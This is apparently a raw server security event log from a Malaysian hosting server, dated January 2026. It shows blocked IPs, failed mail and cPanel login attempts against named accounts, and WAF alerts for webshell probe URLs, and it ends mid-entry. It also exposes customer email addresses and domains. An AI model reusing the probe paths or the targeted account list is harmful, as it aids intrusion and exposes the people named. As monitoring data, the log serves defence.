Jan 16 13:21:47 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.210.189.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.236
country_id: 1814991
description:
2026-01-16 13:21:09 dovecot_login authenticator failed for H=(bkekk) [171.110.83.236]:58643: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 13:21:26 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.210.189.21
country_id: 3277605
description:
Jan 16 13:22:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.210.189.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-16 13:24:34 +0800] info [webmaild] 175.144.229.115 - admin@evergrown.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.152.76.65
country_id: 3469034
description:
Jan 16 13:25:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.152.76.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.236
country_id: 1814991
description:
2026-01-16 13:27:00 dovecot_login authenticator failed for H=(tcbyb) [171.110.83.236]:50993: 535 Incorrect authentication data (set_id=hr)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/news-n-events/img/img/img/img/demos/img/news.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 13:32:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58146: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.82.84.202
country_id: 3686110
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/img/product_photos/111088.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 130.12.182.140
country_id: 2750405
description:
2026-01-16 13:34:45 H=([130.12.182.140]) [130.12.182.140]:58705 F=<noreply@ms-chemicals.net> rejected RCPT <enquiry@ms-chemicals.net>: smtp auth required


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.131
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/css/responsive.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.154
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/css/font-awesome.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.152
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/fonts/CorporateSBQRegular.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.138.209.145
country_id: 3996063
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/course/TOEFL-Exam-Preparatory-7 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.133
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/css/style.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.138
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/fonts/CorporateSBQMedium.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.94.226.91
country_id: 3437598
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/yaml/Escaper.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.142
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/css/bootstrap-theme.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.149
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/fonts/fontawesome-webfont.woff2?v=4.7.0 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.146
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/css/bootstrap.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.148
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/css/styles.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.143
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/fonts/VerveineW06Regular.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.137
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/css/ripple.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 13:36:07 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.11.251.3
country_id: 3469034
description:
Jan 16 13:36:13 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.11.251.3 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 147.185.132.144
country_id: 6252001
description:
2026-01-16 13:36:12 164992 [Warning] Aborted connection 164992 to db: 'unconnected' user: 'unauthenticated' host: '147.185.132.144' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.211.100.149
country_id: 3469034
description:
Jan 16 13:36:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.211.100.149 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 13:36:45 H=([45.144.212.242]) [45.144.212.242]:55557 F=<kamal@sunnyseafoodtrade.com> rejected RCPT <munch@nexuscollection.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.42.3
country_id: 2395170
description:
Jan 16 13:37:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.42.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.95.40
country_id: 3865483
description:
Jan 16 13:38:47 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.95.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.42
country_id: 3175395
description:
Jan 16 13:37:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.190.167.195
country_id: 3865483
description:
Jan 16 13:38:23 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.190.167.195 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.95.40
country_id: 3865483
description:
Jan 16 13:39:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.95.40 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.84.113.5
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-39.91.84.113.5||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.110.179.134
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/Tests/Bundle HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 63.143.95.28
country_id: 3489940
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/Tests/Bundle/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 13:40:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.107.195
country_id: 3469034
description:
Jan 16 13:41:39 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.107.195 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.167.78
country_id: 99237
description:
Jan 16 13:42:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.167.78 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.47.53.129
country_id: 1168579
domain: nmahir.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nmahir.com/index-4.html HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.140
country_id: 1880251
domain: nmahir.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nmahir.com/layout.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.130
country_id: 1880251
domain: nmahir.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nmahir.com/style.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 13:43:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:41063: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 13:45:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:44793: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.242.78.10
country_id: 3469034
description:
Jan 16 13:47:03 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.242.78.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 13:48:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61542: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.211.117.252
country_id: 1733045
description:
[2026-01-16 13:48:08 +0800] info [webmaild] 113.211.117.252 - admin@nexuscollection.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.187
country_id: 3469034
description:
Jan 16 13:49:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.187 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.249.37.9
country_id: 3469034
description:
Jan 16 13:49:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.249.37.9 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.187.163.187
country_id: 732800
description:
Jan 16 13:49:14 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.187.163.187 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.236.15.67
country_id: 3469034
description:
Jan 16 13:49:17 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.236.15.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.122
country_id: 1269750
description:
Jan 16 13:49:25 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.122 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.76
country_id: 2510769
description:
Jan 16 13:49:47 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.76 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.211.117.252
country_id: 1733045
description:
[2026-01-16 13:49:23 +0800] info [webmaild] 113.211.117.252 - admin@nexuscollection.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.190.204.216
country_id: 3469034
description:
Jan 16 13:49:34 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.190.204.216 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.197
country_id: 3469034
description:
Jan 16 13:49:46 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.105.128
country_id: 3469034
description:
Jan 16 13:49:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.105.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.76
country_id: 2510769
description:
Jan 16 13:50:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.76 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.197
country_id: 3469034
description:
Jan 16 13:50:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.196.111.46
country_id: 798544
description:
Jan 16 13:50:17 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.196.111.46 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 168.91.37.29
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-51.168.91.37.29||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.60
country_id: 1269750
description:
Jan 16 13:51:50 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.60 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.7.121.33
country_id: 1210997
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/neck/14/703/1475140 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.60
country_id: 1269750
description:
Jan 16 13:52:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.60 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.16.91.36
country_id: 1269750
description:
Jan 16 13:56:03 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.16.91.36 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.228
country_id: 1814991
description:
2026-01-16 13:59:14 dovecot_login authenticator failed for H=(ikrmi) [171.110.83.228]:53068: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 14:00:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58168: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.22.234.180
country_id: 3175395
description:
Jan 16 14:00:12 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.22.234.180 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.22.87.7
country_id: 3469034
description:
Jan 16 14:00:33 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.22.87.7 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - admin@nexuscollection.com [01/16/2026:06:01:11 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: admin@nexuscollection.com


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jan 16 14:02:20 sv3 kernel: imap[642734]: segfault at 0 ip 00005558647b942e sp 00007ffdba12c1f0 error 4 in imap[5558647a3000+30000] likely on CPU 0 (core 0, socket 0)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.211.117.252
country_id: 1733045
description:
[2026-01-16 14:03:40 +0800] info [webmaild] 113.211.117.252 - admin@nexuscollection.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.211.117.252
country_id: 1733045
description:
[2026-01-16 14:03:59 +0800] info [webmaild] 113.211.117.252 - admin@nexuscollection.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.163.245
description:
2026-01-16 14:05:45 H=([64.89.163.245]) [64.89.163.245]:51862 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<busan@ecck.or.kr> rejected RCPT <steven@oxbold.com>: SPF: 64.89.163.245 is not allowed to send mail from ecck.or.kr


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.11.141.74
country_id: 298795
description:
Jan 16 14:07:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.11.141.74 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.11.141.74
country_id: 298795
description:
2026-01-16 14:07:02 dovecot_plain authenticator failed for H=(disondas) [5.11.141.74]:54492: 535 Incorrect authentication data (set_id=kokfoh.liau@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.248.243.181
country_id: 2542007
description:
Jan 16 14:10:10 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.248.243.181 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.248.243.181
country_id: 2542007
description:
2026-01-16 14:10:12 dovecot_plain authenticator failed for H=(adistage) [41.248.243.181]:38646: 535 Incorrect authentication data (set_id=tom.cheong@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.73.188.251
country_id: 290557
description:
Jan 16 14:11:47 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.73.188.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.35.150.58
country_id: 2017370
description:
Jan 16 14:11:49 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.35.150.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.73.188.251
country_id: 290557
description:
2026-01-16 14:11:49 dovecot_plain authenticator failed for H=(shile) [91.73.188.251]:50538: 535 Incorrect authentication data (set_id=jeffrey.hong@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.35.150.58
country_id: 2017370
description:
2026-01-16 14:11:51 dovecot_login authenticator failed for H=([178.35.150.58]) [178.35.150.58]:56344: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 14:11:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:41068: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.129.67
country_id: 99237
description:
Jan 16 14:11:35 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.129.67 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.129.67
country_id: 99237
description:
2026-01-16 14:11:37 dovecot_plain authenticator failed for H=(radproush) [65.20.129.67]:56904: 535 Incorrect authentication data (set_id=peinee.seh@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.78.151.234
country_id: 1269750
description:
Jan 16 14:12:39 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.78.151.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.151.234
country_id: 1269750
description:
2026-01-16 14:12:41 dovecot_plain authenticator failed for H=(healy) [182.78.151.234]:51642: 535 Incorrect authentication data (set_id=shirley.wong@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 14:13:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:45401: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.73.188.251
country_id: 290557
description:
Jan 16 14:14:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.73.188.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.73.188.251
country_id: 290557
description:
2026-01-16 14:15:00 dovecot_plain authenticator failed for H=(viseures) [91.73.188.251]:59820: 535 Incorrect authentication data (set_id=richard.tan@tujusetia.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.246.184
country_id: 1733045
description:
[2026-01-16 14:16:08 +0800] info [webmaild] 27.125.246.184 - cmchin@chs.com.my "GET /cpsess6264009170/3rdparty/roundcube/?_task=mail&_frame=1&_mbox=INBOX&_uid=10479&_part=2&_action=get&_extwin=1 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.246.211] != Current IP Address [27.125.246.184]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 14:16:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61636: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.82.97.51
country_id: 1814991
description:
Jan 16 14:17:48 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.82.97.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.82.97.51
country_id: 1814991
description:
2026-01-16 14:17:50 dovecot_login authenticator failed for H=([223.82.97.51]) [223.82.97.51]:37825: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.108
country_id: 3469034
description:
Jan 16 14:17:13 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.108 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.246.184
country_id: 1733045
description:
[2026-01-16 14:17:29 +0800] info [webmaild] 27.125.246.184 - cmchin@chs.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.87
country_id: 3469034
description:
Jan 16 14:17:46 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.87
country_id: 3469034
description:
Jan 16 14:18:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.87 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 50.3.136.225
country_id: 6252001
domain: agsaintifik.com.my
description:
